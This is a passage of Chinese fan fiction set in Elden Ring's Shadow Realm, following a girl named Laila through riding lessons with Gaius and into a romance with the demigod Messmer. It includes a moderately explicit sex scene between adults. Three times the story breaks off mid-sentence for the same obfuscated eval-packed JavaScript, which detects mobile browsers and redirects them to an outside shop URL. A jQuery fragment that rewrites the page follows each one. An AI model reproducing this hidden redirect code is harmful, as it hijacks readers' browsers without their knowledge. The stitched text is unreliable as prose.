银狼停止舔毛,做出认真思考的模样。 片刻后,它微微伸头,纡尊降贵地表示她可以摸它。 银色的狼毛手感厚密,哪怕在严寒的风雪中也能保持温暖,一旦摸上了就让人有些停不下来。 银色的巨狼哼哼几声,伏在原地,任她将它从头到尾撸了个遍,连尾巴尖尖都没放过。 “原来你喜欢毛茸茸的生物。”联想到她对将军的态度,盖乌斯好像悟出了什么。 他摸着下巴,陷入沉思。 “所以还是毛茸茸比较有吸引力吗。”盖乌斯自言自语。 “嗯,有点棘手。”他说,“确实有点棘手。” 盖乌斯抬起头来,问她:“有鳞的生物不行吗?” “?” 她一头雾水,阿尔玛微笑着看了盖乌斯一眼,他立刻干笑着放下手。 “我去收拾房间。” 这是她第一次在幽影城外面过夜。虽然从严格意义上来讲,后门的这片平野依然是幽影城的地界,但在外留宿的体验依然十分新奇,对她来说就像露营一般。 她一时没忍住,多待了几天。 白天的时候,盖乌斯指导她骑术。阿尔玛是老练的弓箭手,骑在银狼背上时,身手非常矫健。她骑术和箭术一起学,时间过得非常充实。到了晚上,阿尔玛会煮香喷喷的炖菜和浓汤,维克会纡尊降贵地让她摸自己的毛毛,将军有时候也会从门口探进巨大的脑袋。 阿尔玛开玩笑让她久留时,希德终于绷不住了。 盖乌斯将希德拉到一边,小声嘀咕:“信我,没问题。” 火焰骑士手中的火光燃了又熄,最后还是慢慢小了下去。 当她能骑着将军满场跑时,盖乌斯托着下巴说,应该差不多了。 她问他什么差不多了,盖乌斯说照这进度,她很快就能骑上河马了。 他似乎还想说些什么,但阿尔玛笑着看了他一眼,他果断闭上了嘴巴。 幽影地景色荒凉,黯淡的金芒如柳絮漫天飞舞。她牵着将军的缰绳,漫步于枯草及膝的平野。也许是相同的景色瞧多了,如今她看着那歪扭的巨树,灰暗的天空,心里居然能生出几分亲切来。 热乎乎的感觉在胸口涌动,她很想找人诉说,但这人不是盖乌斯,不是阿尔玛,也不是希德。 将军忽然扭头朝幽影城后门望去,盖乌斯笑了一声,道:“来了。” 风声渐渐平息,枯黄的野草不再簌簌作响。 她停下脚步。红发金眸的半神靠在门边,朝盖乌斯看了一眼,眼神很凉。 “哟,”盖乌斯坦然无惧,“是什么把你这条独眼蛇引出来了?” 16.16 “……你还是和以前一样呱噪,盖乌斯。” 梅瑟莫的嗓音冰凉丝滑,像贴地而行的蛇,平静的表面下透出几分危险的意味。 “你也还是老样子,说话一点也不讨喜。”盖乌斯一副心情很好的模样,和表情阴沉、神色恹恹的梅瑟莫形成了鲜明对比。 “你最近睡得不好吗?”盖乌斯笑呵呵地指指眼下,“黑眼圈出来了。” “……” “啊,不对,应该说,你的黑眼圈比之前更重了。” 梅瑟莫眼神寒凉:“不要以为我不知道你在搞什么小把戏。” “哦?你要这么说,我倒是好奇起来了。”盖乌斯摆出洗耳恭听的模样,“我在搞什么把戏?” “……” “请尊贵的梅瑟莫大人赐教,我最近在搞什么把戏?” 梅瑟莫面无表情,但有那么一刹那,红发金眸的半神看起来似是有些后悔当年将盖乌斯招入麾下了。 窸窸窣窣的声音传来,身着骑装的少女穿过枯黄的野草朝这边跑来。 她跑得有些急,披着铠甲的巨型野猪跟在她身后,表情透露出些无奈。 它倒是想将她直接拱到背上,但又担心自己的獠牙会伤人,于是只能跟着少女的步伐,以对它来说如同慢跑的速度朝这边靠近。 “——梅瑟莫先生!” 垂在身侧的手指微动,红发金眸的半神站在原地。 她跑到他面前,脸颊微红,眼神很亮。因为刚才的奔跑,她气还没喘匀,几缕头发从耳后滑落到颊侧,像雀鸟未长丰的绒羽,凌乱而柔软,而她似乎毫无所察,光顾着用那种亮晶晶的目光望着他。 “……你怎么来了?” 他无意识蜷起指尖,指甲抠入苍白的指腹。 但那点疼痛微不足道。 对于如此轻易动摇的自己,心底无端涌起了近似于焦躁的情绪。 他像咬着自己尾巴的蛇,无法解脱,不得纾解。 高大的半神暗暗绷紧下颌,垂目望着她,半晌,才不咸不淡地挤出一句:“萨赞很关心你的学习进度。” 旁边的盖乌斯露出一副见鬼的神情,骑着银狼朝这边聚集过来的阿尔玛也身形微顿。 “……噢。”她说。 红色的带翼蛇忽然蹭了她一下,然后又更加用力地蹭了她一下。它贴到她颈边,在她身上缠来绕去,仿佛誓要将自己的气味涂抹上去,遮盖她身上的其他味道。 在她看不见的角度,另一条带翼蛇越过她的肩膀,向后方的银色巨狼龇露獠牙。 当她似有所感地转过头时,那条带翼蛇又变回了无辜的表情,慢吞吞地朝她吐了下信子。 待在后方的银狼很无语。阿尔玛摸了摸它厚密的毛发,以示安抚。 带翼蛇反复在她身上蹭来蹭去,她被它弄得有点痒,忍不住笑了一下。 梅瑟莫看着她,他神情古怪,以至于她不得不开口问他:“梅瑟莫先生已经用过膳了吗?” 盖乌斯在旁边干咳了一声。 梅瑟莫压下那古怪的神色,淡淡地应了一声。 她兴高采烈:“我最近学会骑野猪了,你要看看吗?” 将军非常配合地卧下来。作为一只野猪,它也是尽力了。 盖乌斯瞥了梅瑟莫一眼,道:“别紧张,不会摔下来的。” 哗啦啦的风声穿过平野,野草麦芒像海浪翻涌。她骑到将军背上,像平时练习的那样,绕着场地跑了一大圈。 回到原地时,梅瑟莫朝她伸出手。他手掌宽大,苍白的手指瘦而修长,指甲稍微有点尖,握住她的手时明显克制了力道。 他将她托下来,在这个过程中短暂地扶了一下她的背。她对他来说就像危险的火种似的,他只是轻轻碰了她一下,就将手收了回去,仿佛生怕引火烧身。 他还未对她的骑术做出评价,她用期待的表情看着他。 红发金眸的半神侧过脸:“……你学东西确实很快。” 他原来记得——她刚到幽影城时,毛遂自荐对他说过的那些话。 她忽然高兴起来,高兴得有些不知道该如何是好。盖乌斯和其他人不知何时已经默默退下去了,只留两人站在原地。 “这几天,你看起来过得不错。”梅瑟莫低声开口。 她眼睛亮起来,说:“我以前都不知道晚上原来会有那么大的月亮。” 对黑夜心怀恐惧之人,自然不会有心情去观赏夜空。 但在外留宿的这几天,她发现到了晚上,幽影地的天边会出现巨大的月亮,像残缺的银币一样镶嵌在深蓝的夜空中。 哪怕是危机四伏的夜晚,原来抬头也能发现美丽的景色。 她和梅瑟莫分享着这几天的见闻,两人朝物种保藏库走去。她说这几天她吃得好,睡得也好,每天都过得很充实。 梅瑟莫没什么回应。本来就神情阴郁的半神,看起来好像更阴沉了,甚至有些失落。 他沉默的时间有些久,仿佛在出神。她忍不住开口:“梅瑟莫先生?” “……”高大的半神停下脚步,猩红的身影驻足在走廊上,一动不动时就像一座石膏塑像。 “你可以继续留在那里。”梅瑟莫的声音无波无澜,沉如死水,“盖乌斯和他的伴侣不会介意。” 她差点撞到梅瑟莫背上,闻言一下刹住脚步。 “但是……”她张口结舌,“但是这不妥。” “有何不妥?” 她憋了又憋,终于冒出一句:“人家是夫妻。” 在梅瑟莫看过来时,她声音小下去:“……既然是夫妻,就总有不方便外人在场的时候。” 看着那两人神情自然地亲昵互动时,刹那间涌上心头的情绪是什么呢? 她怔了一下,忽然回味过来:啊,是羡慕。 不需要言语,只是交换眼神就能明白对方在想什么时。 在壁炉前席地而坐,两人自然而然地将手叠握在一起时。 作为旁观者的自己,心里那一瞬间涌上的酸软情绪,是羡慕。 她愣愣地望着梅瑟莫,但他似乎曲解了她的意思。他尽力缓和语气,说:“我并不是在赶你走。” “但你想我留下吗?”她突然道。 梅瑟莫僵了一下。他绷紧下颌,看起来似是在忍耐。 她努力藏起心底的失落,为了掩饰自己的难过,甚至表现得比平时还要轻快。 “我这几天都没有做噩梦了。”她笑着说,“萨赞送的那只手镯真的有用。” “不过,之前其实也没那么糟糕,不是所有梦都是噩梦。” 她一边絮絮叨叨地说着,一边问他:“幽影地有大型的蛇吗?” 她比划了几下:“身上长眼睛的那种。” “……”过了许久,梅瑟莫才重新开口:“你为何对此事感兴趣?” “因为我想再见它一次。” 她继续道:“我上次在梦里见到它时,它受了很严重的伤,而且看起来孤零零的,没有同伴照顾。过了这么多天,也不知道它现在怎么样了。” 梅瑟莫没有表情:“那只是一个梦罢了。” “但是我在意。”她说,“如果不是梦怎么办?” 说话期间,两人已经来到阅读室门口。 梅瑟莫告诉她:“……幽影地本土没有那样的蛇。” 说完,就转身离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462716|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得梅瑟莫态度古怪,但具体哪里不对又说不上来。 萨赞简单询问了一下她这几天的学习进度和课业完成情况。她向萨赞表示了感谢,因为那只蛇形金镯,她的睡眠情况近期有了显著改善。 这下萨赞也态度古怪起来。 无法从兜帽底下窥见真容的火焰骑士注视她良久,嘶哑的嗓音平静无比: “只是受人之托罢了。” …… 她坐在寝殿的长椅上,手里托着一柄未开刃的匕首。做工精巧的匕首雕着花纹,刀刃的形状如同火焰的波纹。 近身格斗练习了一段时间,接下来她终于开始要使用武器了。 这是希德翻箱倒柜,从幽影城的兵器库里找出来的。火焰骑士说这是兵器库里最轻巧的武器,也最适合她的体格。 借着烛光,她端详着手里的匕首,侧过刃面时,不期然看见了一抹猩红的影子。 她转过头,披着猩红斗篷的半神站在不远处,也不说话,只是看着她。 他好像只是将她放到寝殿里就满足了,再别无所求。她回来后,两人交流不多。她平时忙于课业,梅瑟莫也没有主动找她。 讲述幽影地的历史时,萨赞从不避讳圣战期间发生了什么。 她越是了解这段过去,就越是明白:在旁人看来,如今的梅瑟莫就像一捧灰烬,是圣战期间曾经涛涛燃烧过的烈焰,在漫长的时间中冷却下来的尘灰。 圣战其实已经结束了,那东西早就结束了。在梅瑟莫的带领下,征讨异教徒的大军拆毁了一切能拆的神殿,烧毁了一切能烧的城镇。幽影地如今焦土千里,荒凉破败,到处都是被梅瑟莫之火焚烧过的遗迹。 在那场焚毁了角人文明的大火中,他把自己也烧得干干净净。 火焰本就是燃烧到最后会吞噬己身的东西。 像咬着尾巴的蛇,最终只会将自己一并吞没。 “……我明天要开始上课了。”她说,“陪我练练?” 她只学了些防身的基础,重点在于让敌人失去行动能力。 若有人挥刀朝她砍来,希德教了她如何攻击敌人的小臂内侧,肩膀关节,和大腿动脉。 但希德没有教她,如果敌人忽然抓住她的手腕时,她该如何第一时间挣脱对方的束缚。 重心一下改变,她踉跄了一下,梅瑟莫及时伸手托住她的腰。未开刃的匕首当啷一声,砸落在地,蹦弹几下没了声息。 她抬起眼帘,在金色的竖瞳中看见了自己的倒影。 就在梅瑟莫打算松开手,将她放回地面上时,红色的带翼蛇忽然动了。那两条蛇动作飞快,像麻绳一样将两人紧紧缠在了一起。 拢在她腰上的手掌一僵,梅瑟莫似乎抽了口气。 他压低嗓音:“……松开。” 然而带翼蛇没动。 它们装聋作哑,左顾右盼。 梅瑟莫轻轻喘息起来,低哑的嗓音紧绷得有些发颤:“立刻松开。” 她不知道他为何发抖,好像压抑着极大的痛苦一般,要被体内矛盾的意念给绞碎了。 带翼蛇犹豫了一下,梅瑟莫可能挣扎得太明显,它们慢慢松开力道。 “梅瑟莫先生,”她忽然开口说,“你讨厌我吗?” 红发金眸的半神怔了一下,下意识开口:“不……” “你讨厌触碰我吗?” “不……”他嗓音沙哑,仿佛不知道该如何回应,“我不……” 但那已经足够了。 她拢住他苍白的脸,侧头吻了上去。 ——他不是灰烬。 当她亲吻他的时候,那盖着尘灰的火炭,分明重新露出了炽热得惊人的光芒。 17.17 呼吸声忽然陷落喉中,梅瑟莫僵在原地,如同石雕。 他薄唇偏薄,缺乏血色,但触感非常柔软。她轻轻贴上去,试探性地咬了下他的唇瓣。 拢在她腰上的手无意识收紧,她仿佛受到鼓励,停顿片刻后,再次吻了吻他轻轻颤抖的嘴唇。 她浅浅地啄他,小心翼翼地进行试探。唇瓣之间简单的摩挲引起不可思议的酥麻,并且很快就让人不再满足于此。 唇瓣微微分离时,梅瑟莫忽然发出声音。 “……莱拉。” 他嗓音微颤,沙哑的声音仿佛在喉咙里燃烧,充满无法再压抑的渴望。 他扣住她的后脑勺,宽大苍白的手掌,手指插入她柔软的长发。 他重重碾上她的嘴唇,她下意识“啊”了一声,但那点微弱的声音很快被他吞吃入腹。他撬开她的齿关,堵住她的呻吟,凭着本能开始索取。 她口腔太小,他如同一条饿极了的蛇,怎么吮咬都不够。 “哈……哈啊……”梅瑟莫不让她出声,自己却在发抖呻吟。 像陷入高烧的病人一样,断断续续的声音从他喉中涌出,难以连成完整的词句。 “……莱拉……莱拉……” 那声音落入耳中,让奇怪的热意在体内蒸腾而起。 明明只是亲吻而已,她却觉得自己好像要融化了,大脑也变得糊涂起来,除了集中于此时此刻的感觉以外再没有处理其他信息的能力。 桌面的杂物被扫下落,梅瑟莫不知何时将她扣到了离两人最近的桌上。厚木的长桌光滑冰凉,凉意隔着薄薄的衣物传来,她颤了一下,梅瑟莫掰过她的脸,开始吻她的下颌和颈侧,沿着她脖颈的弧线向下亲吻。 脆弱的脖颈被拢在苍白的掌心里,黏腻的亲吻声不断传来。于此同时,另一只手在她身上抚摸游走,揉捻她的每一处皮肤。 他用的力气可能重了点,她终于忍不住发出声音。 虽然吃痛,身体却像是有电流窜过,连手指尖都酥麻起来。 伏在她身上的身影停了下来。 “……梅瑟莫先生?” 红发金眸的半神脸色苍白,阴暗的神情扭曲了一瞬。 她想要伸手去拉他,但他倏然起身,几乎是踉跄着后退。 “……不。” 他抬手捂住脸,手背青筋凸起。 “不可。” “梅瑟莫先生——”她从桌上坐起来,但他阴戾地喝止了她的动作。 “别过来!” 带翼蛇圈到梅瑟莫身上,试图安慰痛苦的半神。 “……为什么?”她无法理解,撑在桌沿的手臂也微微颤抖起来,“你总得告诉我为什么?” 梅瑟莫抬起头,从指缝的阴翳间露出金色的竖瞳。 “我是受诅咒之身。” “什么诅咒?” 然而他闭口不答。 “你不应该受我拖累。”他喘了口气,嗓音低哑,“刚才……是我的错。” 苍白的面容再次扭曲起来,仿佛有什么东西在他面皮下蠕动,马上就要破皮而出。 他痛苦地呻吟起来,身体微微发抖。 “……走。”他对她说。 他咬牙喘息:“赶快走——” 视野模糊起来,梅瑟莫沙哑的声音骤然断开,没了下文。 她坐在桌边,眼泪不受控制地涌出眼眶,沿着脸庞滑落下来。 带翼蛇看起来有些慌,慌得把自己打成了结。梅瑟莫下意识站起身,朝她靠来。 “莱拉……”他伸出手,但她避开了他的手指。 眼泪还在流,她不出声,也不看他。 苍白的手指停在半空,梅瑟莫表情僵硬。 “莱拉……”他的声音低下去。 “讨厌我的话你可以直说。”她开口,“我没有你想的那么脆弱。” 她依然不看他。 “这段时间很感谢你的照顾,我无以为报。” 带翼蛇警铃大作,高大的半神依然僵在原地,似乎被她刚才的拒绝打击得不知道该如何反应。 “等学业告一段落,我会自请离开。”她补充,“不留下来给你添麻烦。” “……你不是。”梅瑟莫开口,“你从来都不是麻烦。” “但是很明显,我的存在会给你带来困扰。” 她终于转过头:“我不想成为你的困扰。” 梅瑟莫喉咙微动。 “这不是你的问题。”他低声说,“是我的。” 她望着他:“你的诅咒到底是什么?” 梅瑟莫没有立刻回复。 他抬起手,用指背蹭去她的眼泪。 金色的竖瞳定定地注视她片刻,高大的半神俯下身,吻去她脸上残存的泪珠。 “你会后悔的。”他叹息一声,终是不再挣扎。 梅瑟莫败下阵来。他摘下头盔,解开猩红的斗篷。 他似乎从未在他人面前如此展示自己的残缺,期间动作犹豫了几次,最后还是拆下了鳞片细密的锁子甲。 高大的半神皮肤苍白,肤色甚至有些发灰,和普通人比起来更像石膏塑成的雕像。他平时身体前倾原来不是习惯所致,而是因为他脊柱变形弯曲。胸口的大洞被带翼蛇的身躯穿过,从左肩透出,人和蛇连在一起,恍如一体。 她不由得抬起手,红色的带翼蛇凑过来,用鼻部轻轻蹭了蹭她的指尖。 “我生来体内就盘踞着恶蛇和火种,它们能帮我压制身体里的诅咒。” “所以你的义眼也……?” “我的义眼也是为此而存在。” 她的手指停在他的胸口上方,那里留着带翼蛇从他的躯壳里穿过的洞。 “还疼吗?” 触上他胸口完好的皮肤时,梅瑟莫的气息微微颤了一下。 她抬头望着他,他稍微挣扎了一下,但还是忍不住拢住她的脸。 “别哭。”他低声开口。 “别哭,莱拉…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489579|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 反应过来时,两人已经在接吻了。 扣在桌沿的手,改而搂住了苍白的脖颈,指缝间填满了猩红微蜷的发。 梅瑟莫一开始动作还算温柔,他亲吻她的面庞,吮去她的眼泪,用舌尖将那略咸的湿意卷入口中。他缓慢而细致地吻她,小心得有些生涩,似乎生怕将她弄坏了。苍白的手指穿过她的长发护住她的后脑勺,将她搂入怀中。 但红发金眸的半神压抑许久,很快便不再满足于简单的亲吻。 他将她压在桌面上,空出来的那只手贴上她的曲线。 也许是她的衣衫布料太单薄,也许是半神的力气太大,他褪下她肩膀衣物的动作稍微大了点,单薄的布料一下被撕扯开来,露出白皙柔软的皮肤。 她急促地喘了一声,扬起纤细的脖颈。 梅瑟莫不断呢喃她的名字,声音里染着病态的热意,而她被那热意传染,神志都有些不清楚起来。 他将她全身上下都吻了个遍,连指尖都没有放过,虔诚如同朝拜圣殿的信徒。 两人差点在桌上成事,好在带翼蛇最后咬了梅瑟莫一口,他这才勉强回过神来。 他将她捞到怀里,放到床榻上。 “……莱拉。”他俯下身,怜爱地吻了吻她被汗水打湿的脸颊,嗓音含着奇异的颤意,“我的……莱拉。” 说到后面,嗓音已经哑得不成样子。 “啊……”涌出喉咙的声音,只是开了个头便被掐没了声息。 带翼蛇将她缠得紧紧的,以免她乱动伤着自己,但她完全说不出话,只能不断平复呼吸试图让自己不那么难受。 酥酥麻麻的感觉扩散开来,她感觉自己眼角渗出了泪意。带翼蛇蹭过来,安抚般地贴了贴她的脸颊。 她从一开始的抗拒难受,到后来渐渐软下了腰。 她恍然间觉得屋外下起了雨,淅淅沥沥的雨声不断流淌。她抓住苍白瘦长的手臂。 “梅……梅瑟莫先生……”她语无伦次,颠三倒四。 “喜欢……”她哽咽出声,“好喜欢……” 梅瑟莫托起她的身躯,将她紧紧搂到怀中。她坐在他的大腿上,脸颊靠着他的胸膛,而他则跪行在床榻上,低头抱着她,力道大得她有点发痛。 “莱拉……”那声音像蛇类的嘶鸣。 他将她牢牢困在自己怀里,用的是蟒蛇缠绞猎物的力道。 他好想将她吃下去,嗓音因为饥饿而沙哑。 “这样就很好。”他低声说。 “像这样待在一起。” 一直连在一起。 浪潮再次汹涌而来时,他没有松开手臂,而是维持着之前的姿势,将她搂在怀里。 她无力地靠着他的胸膛,意识不受控制地慢慢沉入黑暗。 “……莱拉……”梅瑟莫颤抖着,在她发顶落下一吻。 ——独属于我的,莱拉啊。 幽影地是有去无回之地。只要留下了,就无法再离开了。 18.18 身体很沉。 她在梦中睡睡醒醒,后来终于迷迷糊糊地意识到不是身体沉重,而是有什么东西将她缠住了。 那东西如同大型蟒蛇,将她的身体四肢捆得牢牢的。像溺水之人抓着救命稻草一样,紧紧扒着她不放手。 她无法动弹,无法翻身。睡是没办法继续睡下去了,好在她的身体似乎也已经养足了精神,再睡下去只会头脑发昏。 她迷迷瞪瞪地睁开眼睛,黯淡柔软的光线落到枕头上,床帐内昏暗静谧,空气里沉淀着昨日烧剩的熏香。 怀里沉甸甸的,她一低头,就看见了高大的红发半神抱着自己的腰,脑袋抵在她胸口睡得正沉。 梦里缠住她的罪魁祸首是什么,一目了然。 至于带翼蛇,带翼蛇团在她的颈窝边,和她睡在同一个软枕上,收拢翅膀的模样似乎正在休憩。 她试着动了动,苍白瘦长的手臂纹丝不动。她觉得自己就像一条被水草缠住了的鱼,她窸窸窣窣着试图从梅瑟莫的怀抱里钻出来,静悄悄地折腾半天,无果,于是放弃了挣扎。 身体感觉很清爽,没有黏糊糊的残留物,想来是在她昏睡期间已经被对方仔细清理过了。除了有些红肿,有些泛酸以外,她目前一切都好…… 啊,还有些浅淡的淤青。 以她的体质,那些淤青估计到今天晚上就消失了。 她侧身卧着。红发的半神是真的睡得沉,到现在都还没醒。均匀起伏的温热呼吸贴在她的腰腹上,搞得她有些痒。她不想吵醒他,于是开始努力转移自己的注意力。 这注意力一转移,就转移到了他的红发上。 色泽猩红的发丝如烈焰微微蜷曲,她忍了忍,最终还是没忍住,轻轻将手放了上去,顺着发丝的走势捋了捋。 “嗯……” 怀里的脑袋动了动,她僵住动作,结果对方只是将脸往她怀里埋得更深了些,拥住她腰背的手臂顺势收紧了力道。 她屏息等待片刻,梅瑟莫却没有继续动作。 ……他那个高挺的鼻梁,其实挺戳人的。 她沉默着,继续摸起了他的头发,以手指为梳,慢慢从他的发顶开始往下梳。 她的手指变成船只,红发变成起伏的海浪,纤巧的船只顺流而下,在发尾的码头停留,然后又周而复始,从上流再次启程。 她一边任自己的想象力天马行空,一边仔细地给他梳理着头发,时不时曲起指背,抓抓他的头皮。 沙沙……沙沙…… 像手指描绘沙画的声音。 沙沙……沙沙…… 像丝绸的布料摩挲在一起时的细响。 梅瑟莫叹了一声,鼻音很低。 她意识到他其实已经差不多醒了。 “……梅瑟莫先生?” 安静半晌,他低低地嗯了一声,嗓音含着沙哑的睡意。 她摸摸他的后颈,他依然维持着原先的姿势,一动不动地将脑袋靠在她怀里,拢着她腰肢的手臂也没有松动的趋势。 像什么呢? 像许久没有晒过太阳的蛇,整条蛇都变得慵懒懈怠起来,软趴趴地不想动弹。 “今天有要事要处理吗?”她提醒他,“已经下午了。” 梅瑟莫的声音闷闷的:“……并无。” 说话时,她能感受到他嗓音在喉咙深处的震动。 他叹息一声。 “莱拉。” 她等着下文,然而梅瑟莫那句呼唤好像纯属感慨,他只是单纯想喊她的名字,喊完了便满足了。 梅瑟莫直到下午都没现身,到目前为止还没有人来寝殿里找过他,可能说明确实没有要紧事要处理。 “……既然没什么要事的话,就继续睡吧。” 毕竟,他看起来已经很久没有好好睡上一觉了。 她摸着他的头发,手指顺着猩红的发尾滑落到苍白宽厚的背脊。高大的半神腰很瘦,肩背却宽厚。她小心翼翼地避开他背部的旧伤,摸了摸他脊椎凹陷的弧度。 “唔……”那低沉的鼻音又出现了。 “梅瑟莫先生,”她忍住笑意,“你起鸡皮疙瘩了。” 她继续抚摸他的背,半神的身躯缓慢放松下来,像一张紧绷许久的弓,终于稍微卸去积累多年的压力,慢慢松弛下来。 他的身躯摸起来像雪花石膏,冰凉光滑且轮廓分明。 她用指尖描绘着他颈窝陷下去的弧度,脊椎骨微凹的部分,如丘陵般凸起的肩胛骨。 但肩胛骨再往下,她就摸不到了,因为够不着。 “……” 她摸摸他的背。 “伤口附近的地方摸起来会疼吗?” 但红发的半神已经再次睡着了。 抱着她的腰,将脑袋抵在她怀里,睡着了。 温热起伏的呼吸贴在腹部,她放空思绪望向床帐顶端。 她没来由的觉得这状态有点熟悉,思考片刻,终于明白这熟悉感从何而来。 她低头看向红发的半神。 ……是拥有皮肤饥渴症的蛇啊。 将脑袋抵在她怀里的时候,连尾巴尖尖都要缠在她腰上。 “……原来早就见过了。”她小声嘀咕。 然后假装刚才什么都没意识到似的,继续抚摸半神的红发。 两人这一躺,就再次躺到了薄暮时分。 黯淡的光线逐渐被夜色吞没,寝殿里慢慢燃起烛光。 蛇本来就是花绝大部分时间睡觉的生物,多睡睡也没什么。 他之前能熬那么久不睡觉,反而让人比较担心。 侧卧太久,她肩膀酸涩僵硬。梅瑟莫醒来时,金色的竖瞳中似是滑过懊恼之色。 高大的半神松开手臂,她白皙柔软的皮肤毫不意外地留下了红印。 “……下次你应该叫醒我。” 一旦心情不虞,他就会拧眉,一拧眉,那张本来就不怎么和善的脸就会显得愈发阴郁。 她打趣他:“下次?” 梅瑟莫别开目光,没有回答。 红色的带翼蛇随着高大的半神起身,露出智慧的眼神。 猩红的头发滑落苍白的肩背,梅瑟莫似乎没考虑到事情进展到这一步之后该怎么办,一时半会儿就那么坐着。 她觉得他像一条发怔的蛇。 看起来好像醒了,其实大脑还在重启。 说到蛇,她之前都没来得及仔细观察…… “它们平时是怎么睡觉的?” 蛇这种生物没有眼睑,因此没法闭上眼睛。 被点到名的带翼蛇朝她看来。她以前一直以为缠在梅瑟莫身上的是两条蛇,如今才知道那是一条双头的带翼蛇。 但为作区分,还是分别称呼好了。 其中一条带翼蛇凑过来,将脑袋放到她伸出的手掌上,露出涣散的眼神,表示这是蛇类睡觉时的模样。 “哦。”她发出原来如此的声音。 那条带翼蛇的眼神于是又恢复了聚焦。 “真聪明。”她忍不住夸它。另一条带翼蛇也与有荣焉地挺起了胸膛。 她分开床帐,发现床边的矮桌上不知何时放了一盘食物。那银质的托盘上堆满了能帮人恢复体力的面包、肉干、乳酪和浓汤,汤碗摸上去甚至还有余温。 看到那盘食物后,她才意识到自己有多饿。 她进食时,梅瑟莫就在旁边静静看着她。他好像觉得这是一件很新奇的事,怎么瞧她都瞧不够,舍不得移开目光。 她吃面包的时候,他在旁边看着。她喝汤的时候,他也在旁边看着。 直到她终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518164|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住了,问他:“你不饿吗?” 红发的半神才回过神,不紧不慢地应了一声。 吃完饭后,她恢复了精神。她穿上衣服,掀开床帐,跳下床榻,发现乱七八糟的寝殿已经重新被收拾得整整齐齐,被扫落的摆设也重新回到了桌面上。 她没跑出几步就被梅瑟莫捞了起来。 猩红的斗篷忽然罩下来,梅瑟莫用袍子将她一裹,托住她的膝盖弯将她抱了起来。 他蹙着眉,神色阴阴地将她抱到旁边的长椅上。见她仰脸望着他,才吐出一句: “地上凉。” “……” 猩红的斗篷裹在她身上显得空空荡荡,厚绒的布料一直垂落到她脚边的地面上。 梅瑟莫托起她的脚时,她不知道为什么脸颊有些发烫,脚趾微微蜷缩了一下。 梅瑟莫的动作好像顿了顿,但他面色不显地帮她穿上系带的凉鞋,放下手重新站了起来。 “这个,”她说,“这个斗篷,你只有一件吗?” “为何这么问?” 她支吾片刻:“……感觉拿来当被子挺合适的。” “……” 带翼蛇拱了拱梅瑟莫,他的嗓音平静无波:“你可以拿去。” “真的?” 她一下高兴起来,跑回床边,将猩红的斗篷放到床榻上。那里已经堆了很多软枕和毯子,好在床够宽大,不会显得拥挤。 她兴致勃勃地表示要帮梅瑟莫穿上盔甲。红发金眸的半神没能拗过她,于是给她展示了一下锁子甲的暗扣在哪。 细密冰凉的锁子甲是特意为梅瑟莫量身打造的,胸口的部位留出了位置,能让带翼蛇穿过。 她站在长椅上,帮他扣上锁子甲,然后拿起旁边的翼蛇头盔。 红发金眸的半神微微低头,让她给他戴上头盔。 做完这件事后,她没有收回手,反而捧住他的脸,认真开口:“来一个凶一点的表情。” 梅瑟莫下意识蹙了蹙眉。 “嗯,是平时的梅瑟莫先生。” 她笑起来,然后跳下长椅。 “你要去哪?” “去和温戈萨赞请个假。”她说,“我总不能一声不吭就直接翘课。” 梅瑟莫的表情仿佛在说:她非常可以直接翘课。 “这种小事,你不需要亲自跑一趟。” “我马上就回来。” 物种保藏库今天的氛围有些不一样。明明书架还是那些书架,周围的摆设也没有任何不同,烛光甚至有些昏暗,徘徊于柱廊和书架间的黑色幽灵,每一个都闪闪发亮。 像洒在黑色丝绒布上的碎钻一样,它们灵体边缘的光芒变得非常明亮。 因为过于亮晶晶,她甚至抬手挡了一下视线,但放下手后,那些幽灵还是非常耀眼,哪怕看不清面貌五官,也能让人感受到它们的好心情。 她很迷惑,这份迷惑在希德不知道从哪里冒出来后变得更深了。 “……莱拉大人。” 火焰骑士的身上传来轻微的酒味,她差点以为那是自己的错觉。 对方以手按胸,朝她行了一礼,礼仪依然完美无瑕:“您怎么来了?” “其他人呢?” 她终于意识到物种保藏库有哪里不太对劲了。以往每一个楼层都至少会有几位火焰骑士镇守,但她在七楼逛了快一圈,都没见到那些身影去哪了。 以火焰骑士的忠于职守来说,这很不寻常。 “……哦。”希德慢吞吞地说,“他们今天可能有点事。” “什么事?” 火焰骑士顿了顿,似乎在同伴情谊和作为骑士的忠诚之间挣扎。 最后明显是后者占据了上风。希德诚实地告诉她:“大家都在盖乌斯大人那里庆……聚餐。” 19.19 温戈说萨赞闪到了腰,这几天没办法给她上课了。 